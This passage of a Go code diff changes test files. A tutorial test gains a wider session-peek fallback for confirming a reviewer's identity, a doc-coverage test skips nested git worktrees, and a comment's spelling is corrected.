+			t.Fatal("peek reviewer output is empty")
+		}
+		if peekIdentifiesReviewer(out) {
+			return
+		}
+		// The identifying "You are `reviewer`" prompt text sits above the
+		// session's skills appendix and review transcript, so provider chrome
+		// (e.g. a Claude CLI footer banner) can slide it out of the default
+		// 50-line window (#3877). The session is still the right one; only
+		// the window position moved.
+		deepOut, deepErr := ws.runShell("gc session peek "+reviewerSessionID+" --lines "+strconv.Itoa(reviewerIdentityPeekLines), "")
+		if deepErr != nil {
+			t.Fatalf("gc session peek %s --lines %d: %v\n%s", reviewerSessionID, reviewerIdentityPeekLines, deepErr, deepOut)
+		}
+		if !peekIdentifiesReviewer(deepOut) {
+			t.Fatalf("peek reviewer output mismatch; default window:\n%s\n\nhidden %d-line window:\n%s", out, reviewerIdentityPeekLines, deepOut)
 		}
+		ws.noteWarning("tutorial 03 runtime workaround: the default peek window slid past the reviewer-identifying prompt text (provider footer chrome can shift the visible window, issue #3877), so the page driver confirmed the same session identity in a wider hidden %d-line peek window", reviewerIdentityPeekLines)
 	})
 
 	t.Run("gc session list", func(t *testing.T) {
diff --git a/test/docsync/docsync_test.go b/test/docsync/docsync_test.go
index 86cb1d2a15..1b7a59dc98 100644
--- a/test/docsync/docsync_test.go
+++ b/test/docsync/docsync_test.go
@@ -41,6 +41,16 @@ var docTreeDirs = []string{"contrib", "docs", "engdocs", "release-gates"}
 // gitignored scratch space for local work).
 var docTreeIgnored = []string{"cmd", "examples", "internal", "plans", "scripts", "test", "tmp", "worktrees"}
 
+// isNestedWorktreeRoot reports whether path is the root of a linked git
+// worktree checked out inside this tree. Linked worktrees have a .git FILE
+// (a "gitdir: ..." pointer) rather than a .git directory, so this catches
+// worktrees regardless of naming convention — unlike docTreeIgnored's
+// "worktrees" entry above, which only catches that exact name.
+func isNestedWorktreeRoot(path string) bool {
+	info, err := os.Lstat(filepath.Join(path, ".git"))
+	return err == nil && !info.IsDir()
+}
+
 // knownBrokenLinks lists links to docs that do not exist yet. These are
 // excluded from TestLocalMarkdownLinks failures but still logged. Remove
 // entries as the missing docs are created.
@@ -803,8 +813,11 @@ func TestDocDirCoverage(t *testing.T) {
 		if known[name] {
 			continue
 		}
-		// Check if this directory contains any markdown.
 		dirPath := filepath.Join(root, name)
+		if isNestedWorktreeRoot(dirPath) {
+			continue
+		}
+		// Check if this directory contains any markdown.
 		hasMarkdown := false
 		_ = filepath.WalkDir(dirPath, func(path string, d fs.DirEntry, err error) error {
 			if err != nil || hasMarkdown {
diff --git a/test/integration/skill_lifecycle_test.go b/test/integration/skill_lifecycle_test.go
index b0a6c4ea8c..5be4e46fcb 100644
--- a/test/integration/skill_lifecycle_test.go
+++ b/test/integration/skill_lifecycle_test.go
@@ -6,7 +6,7 @@
 // supervisor tick uses — materialize.Run and the
 // end-to-end catalog discovery wiring — against a real filesystem.
 // Fast (no runtime.Provider spawned) but with real os.Symlink,
-// os.Readlink, and filepath.EvalSymlinks behaviour.
+// os.Readlink, and filepath.EvalSymlinks behavior.
 //
 // The spec-called-out "full add/edit/delete lifecycle with drain/
 // restart observation" is covered in two layers: